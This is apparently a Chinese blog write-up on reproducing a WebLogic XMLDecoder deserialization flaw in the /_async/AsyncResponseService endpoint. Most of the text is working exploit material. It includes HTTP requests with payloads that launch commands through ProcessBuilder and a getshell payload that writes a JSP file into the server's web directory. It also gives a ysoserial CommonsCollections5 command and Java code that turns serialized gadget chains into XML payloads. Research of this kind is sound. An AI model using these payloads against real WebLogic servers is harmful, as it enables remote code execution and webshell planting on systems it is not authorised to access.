背景

通过给出的解决方案得知，漏洞存在于 /_async/ 目录，代码位于 bea_wls9_async_response.war、wsat.war 两个包下。

有网友说只要/_async/AsyncResponseService 可以访问就说明可能存在漏洞。

所以问题已经很明显了

• 反序列化
• bea_wls9_async_response.war、wls-wsat.war
• /_async/AsyncResponseService

wls-wsat 这个组件在之前就已经被曝过存在反序列化漏洞，CVE编号是：CVE-2017-10271

是由JDK的XMLDecoder引起的反序列化，不懂XMLDecoder可以参考 https://github.com/pwntester/XMLDecoder。

由于这次的漏洞也是反序列化，漏洞地址是提供 SOAP Webservice服务的接口，也包含了 wls-wsat 组件，所以不难想象到他们俩是同一个问题。

影响范围

    Oracle WebLogic Server10.3.6.0.0
    Oracle WebLogic Server12.1.3.0.0
    Oracle WebLogic Server12.2.1.1.0
    Oracle WebLogic Server12.2.1.2.0

复现

首先本地安装 weblogic，过程不再赘述。

我是Windows系统，参考一步步安装。https://blog.csdn.net/qq_36868342/article/details/79967606

由于漏洞是和CVE-2017-10271同样的原因引起的。

所以完全可以使用 CVE-2017-10271 的POC

CVE-2017-10271 Getshell EXP

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.8.148:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 756

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
         <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>xmldecoder_vul_test</string></void><void method="close"/>
                    </object>
            </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
</soapenv:Envelope>

先启动 weblogic 服务，默认会部署 wls9-async 组件

这里放上我的命令执行POC

POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
Connection: keep-alive
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>calc</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

在本地成功弹出了计算器。

反编译一下存在漏洞的war包com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

给 weblogic 开启 debug 模式，在 idea 远程debug并给 xmldecoder 的 readObject 方法打上断点可以看到栈都走了那些方法。

如果一个接口不成功，可以试试这三个接口

AsyncResponseServiceHttps
AsyncResponseService
AsyncResponseServiceJms

getshell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println"><string><![CDATA[123]]></string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

2019.04.25 更新

自从漏洞被公开后陆陆续续出来了一些 POC

其中有一个比较长的

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:wsa="http://www.w3.org/2005/08/addressing"
 xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
 <wsa:Action>demoAction</wsa:Action>
 <wsa:RelatesTo>urn:uuid:91576FE2-4533-43CB-BFA1-51D2B631453A</wsa:RelatesTo>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java>
  <class>
    <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
    <array class="byte" length="1452">
<void index="0">
  <byte>-84</byte>
</void>
<void index="1">
  <byte>-19</byte>
</void>
<void index="2">
  <byte>0</byte>
</void>
<void index="3">
  <byte>5</byte>
</void>
//省略.....
<void index="1451">
  <byte>58</byte>
</void></array>
     </void>
    </class>
 </java>
 </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
            <asy:onAsyncDelivery/>
     </soapenv:Body>
</soapenv:Envelope>

但具体不知道是哪个版本的，我在 12.1.3 上没找到UnitOfWorkChangeSet这个类。

不过根据源码来看，构造方法就是将一个传入的 byte 数组再反序列化成IdentityHashtable对象。

http://kickjava.com/src/oracle/toplink/essentials/internal/sessions/UnitOfWorkChangeSet.java.htm

那么利用方式就很明显了：通过传入payload对象的字节码对象来反序列化。

这里我用ysoserial生成一个payload

java -jar ysoserial-master-ff59523eb6-1.jar CommonsCollections5 "calc" > E:/1.txt

然后再读取文件反序列化成java对象，再读取他的字节码，最后让xmlEncoder转成 xml格式。

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/4/24 12:09
 */
public class Test {

    public static void main(String[] args) throws Exception {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("E:/1.txt"));
        Object o = objectInputStream.readObject();

        byte[] bytes = ObjectToByte(o);

        objectXmlEncoder(bytes , "E:/123.xml");

    }

    private static byte[] ObjectToByte(Object obj) {
        byte[] bytes = null;
        try {
            // object to bytearray
            ByteArrayOutputStream bo = new ByteArrayOutputStream();
            ObjectOutputStream oo = new ObjectOutputStream(bo);
            oo.writeObject(obj);

            bytes = bo.toByteArray();

            bo.close();
            oo.close();
        } catch (Exception e) {
            System.out.println("translation" + e.getMessage());
            e.printStackTrace();
        }
        return bytes;
    }

    public static void objectXmlEncoder(Object obj,String fileName)
            throws FileNotFoundException,IOException,Exception
    {


        java.io.File file = new java.io.File(fileName);
        if(!file.exists()){
            file.createNewFile();
        }



        java.io.BufferedOutputStream oop = new java.io.BufferedOutputStream(new java.io.FileOutputStream(file));
        java.beans.XMLEncoder xe = new java.beans.XMLEncoder(oop);
        xe.flush();
        //写入xml
        xe.writeObject(obj);
        xe.close();
        oop.close();
    }

}

无需经过序列化生成xml payload

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/4/24 12:09
 */
public class Test{
    public static void main(String[] args) throws Exception {

        File file = new File("E:/1.txt");
        //读取ysoserial文件生成的payload
        FileInputStream fileInputStream = new FileInputStream(file);

        //初始化比特数组输出流
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream((int) file.length());

        int buf_size=1024;
        byte[] buffer=new byte[buf_size];
        int len=0;
        //读取文件中的内容转到byte数组输出流
        while(-1 != (len=fileInputStream.read(buffer,0,buf_size))){
            byteArrayOutputStream.write(buffer,0,len);
        }

        BufferedOutputStream oop = new BufferedOutputStream(new FileOutputStream(new File("E:/2.txt")));
        
        //使用jdk的xmlencoder把byte数组写入到 e:/2.txt
        XMLEncoder xmlEncoder = new XMLEncoder(oop);
        xmlEncoder.flush();
        xmlEncoder.writeObject(byteArrayOutputStream.toByteArray());
        xmlEncoder.close();
        byteArrayOutputStream.close();
        fileInputStream.close();

    }
}